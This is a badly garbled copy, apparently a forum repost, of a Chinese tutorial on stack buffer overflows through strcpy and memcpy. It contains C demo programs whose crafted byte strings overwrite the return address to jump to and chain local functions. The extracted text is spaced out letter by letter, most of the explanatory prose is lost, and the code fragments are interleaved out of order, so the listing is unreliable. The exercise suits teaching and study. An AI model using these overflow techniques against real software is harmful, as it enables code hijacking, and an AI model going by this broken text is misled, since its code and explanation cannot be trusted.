[15245] 2020-04-12_缓冲区溢出之Strcpy和Memcpy

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2020-04-12_缓冲区溢出之Strcpy和Memcpy S t r c p y M e m c p y P l u t o l   F r e e B u f   2 0 2 0 - 0 4 - 1 2 f u ' n 1 , f u n 2 , f u n 3 使 使 s t r c p y ( ) s t r c p y ( ) x 0 0 s t r c p y ( ) S t r c p y ( ) 1 s t r c p y s t r c p y   b       a b > a s t r c p y b     r e t     r e t   r e t e i p p o p   e i p r e t r e t e s p   e s p 2 f u n 1 ( ) c h a r   * s h e l l c o d e 1 = " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 x 0 F x 1 0 x 4 0 x 0 0 " ;
m a i n ( )   e s p   =   0 x 0 0 1 2 f f 8 4   ; m a i n ( )   r e t   e s p   0 x 1 2 f f 8 4   0 x 1 2 f f 8 4   m a i n r e t   e s p s h e l l c o d e   0 x 1 2 f f 8 4   s h e l l c o d e s h e l l c d o e = " a b c d e f g h i j " 1 6 1 6     0 x 1 2 f f 8 4   s h e l l c o d e 便   r e t         r s t u       0 x 1 2 f f 8 4 f u n ( ) f u n ( )   r s t u     j m p     f u n ( )     j m p     c h a r   * s h e l l c o d e 1 = " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1 x 0 F x 1 0 x 4 0 x 0 0 " ; v o i d   f u n 1 ( ) { p r i n t f ( " f u n 1   r u n ! n " ) ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) / / {         p r i n t f ( " b e g i n n " ) ; c h a r   a [ 4 ] = { 0 } ;         s t r c p y ( a , s h e l l c o d e 1 ) ; r e t u r n   0 ; }
3 s h e l l c o d e s h e l l c o d e f u n 1 ( ) j m p s h e l l c o d e 1 s h e l l c o d e   s t r c p y ( )   x 0 0     j m p   f u n 2   f u n 3   x o r   0 0 4   s t r c p y ( ) 使     f u n ( ) c h a r   * s h e l l c o d e 1   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                                     x 0 F x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n 1 c h a r   * s h e l l c o d e 1   =     " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                                         x 0 F x 1 0 x 4 0 x 0 0 "     / / j m p   f u n 1                                         x 0 5 x 1 0 x 4 0 x 0 0 "     / / j m p   f u n 2                                         x 0 A x 1 0 x 4 0 x 0 0 " / / j m p   f u n 3 # i n c l u d e   " s t d a f x . h " # i n c l u d e   " s t r i n g . h " / / c h a r   * s h e l l c o d e = " a b c d " ;   / / a b c . . . c h a r   * s h e l l c o d e 1   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                                         x 0 F x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n 1 ( ) c h a r   * s h e l l c o d e 2   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                                         x 0 5 x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n 2 ( ) c h a r   * s h e l l c o d e 3   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                                         x 0 A x 1 0 x 4 0 x 0 0 " ; / / j m p   f u n c 3 ( ) c h a r   * s h e l l c o d e 4   =   " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                                         x 4 9 x 1 4 x 4 0 x 0 0 " ;   / / / * * * x 4 9 x 1 4 x 4 0 x 0 0   r e t   * * * / v o i d   f u n 1 ( ) {         c h a r   a 1 [ 4 ] = { 0 } ;         p r i n t f ( " f u n 1   r u n ! n " ) ;
m e m c p y 1 m e m c p y m e m c p y ( ) h t t p s : / / b l o g . c s d n . n e t / q q _ 2 8 3 5 1 6 0 9 / a r t i c l e / d e t a i l s / 8 4 7 0 4 5 3 1 # i n c l u d e   s r c c o u n t d e s t s r c d e s t d e s t 1 . s o u r c e d e s t i n d e s t i n 2 . s t r c p y m e m c p y 0 n m e m c p y m e m c p y ( a , b , n ) b n a     n > a   s t r c p y ( )   m e m c p y     x 0 0     0 0   m e m c p y ( ) c h a r   a [ 1 0 0 ] ,   b [ 5 0 ] ; m e m c p y ( b ,   a , s i z e o f ( b ) ) ;   / / s i z e o f ( a ) b         s t r c p y ( a 1 , s h e l l c o d e 2 ) ; } v o i d   f u n 2 ( ) {         c h a r   a 2 [ 4 ] = { 0 } ;         p r i n t f ( " f u n 2   r u n ! n " ) ;         s t r c p y ( a 2 , s h e l l c o d e 3 ) ; } v o i d   f u n 3 ( ) {         c h a r   a 3 [ 4 ] = { 0 } ;         p r i n t f ( " f u n 3   r u n ! n " ) ;         s t r c p y ( a 3 , s h e l l c o d e 4 ) ; } i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         p r i n t f ( " b e g i n n " ) ;         c h a r   a [ 4 ] = { 0 } ;         s t r c p y ( a , s h e l l c o d e 1 ) ;         r e t u r n   0 ; } e x t e r n   v o i d   * m e m c p y ( v o i d   * d e s t ,   v o i d   * s r c ,   u n s i g n e d   i n t   c o u n t ) ;
2 p a y l o a d   m e m c p y ( ) 使   s t r c p y ( )   s t r c p y   x 0 0   便 p a y l o a d : 3 * P l u t o l F r e e B u f . C O M c h a r   s h e l l c o d e [ ]   =     " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                                         x 0 5 x 1 0 x 4 0 x 0 0     / / j m p   f u n 1                                         x 1 4 x 1 0 x 4 0 x 0 0     / / j m p   f u n 2                                         x 0 F x 1 0 x 4 0 x 0 0     / / j m p   f u n 3                                         x 4 9 x 1 4 x 4 0 x 0 0 " ;   / / # i n c l u d e   " s t d a f x . h " # i n c l u d e   " s t r i n g . h " c h a r   s h e l l c o d e [ ]   =     " x 6 4 x 6 5 x 6 6 x 6 7 x 6 8 x 6 9 x 7 0 x 7 1                         x 0 5 x 1 0 x 4 0 x 0 0                         x 1 4 x 1 0 x 4 0 x 0 0                         x 0 F x 1 0 x 4 0 x 0 0                         x 4 9 x 1 4 x 4 0 x 0 0 " ; v o i d   f u n 1 ( ) {       p r i n t f ( " f u n 1   r u n ! n " ) ; } v o i d   f u n 2 ( ) {       p r i n t f ( " f u n 2   r u n ! n " ) ; } v o i d   f u n 3 ( ) {     p r i n t f ( " f u n 3   r u n ! n " ) ; } / / i n t   m a i n ( i n t   a r g c ,   c h a r *   a r g v [ ] ) {         p r i n t f ( " b e g i n n " ) ;         c h a r   a [ 4 ] = { 0 } ;         / / :     s h e l l c o d e   >   a         m e m c p y ( a ,   s h e l l c o d e , s i z e o f ( s h e l l c o d e ) ) ;         r e t u r n   0 ; }

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则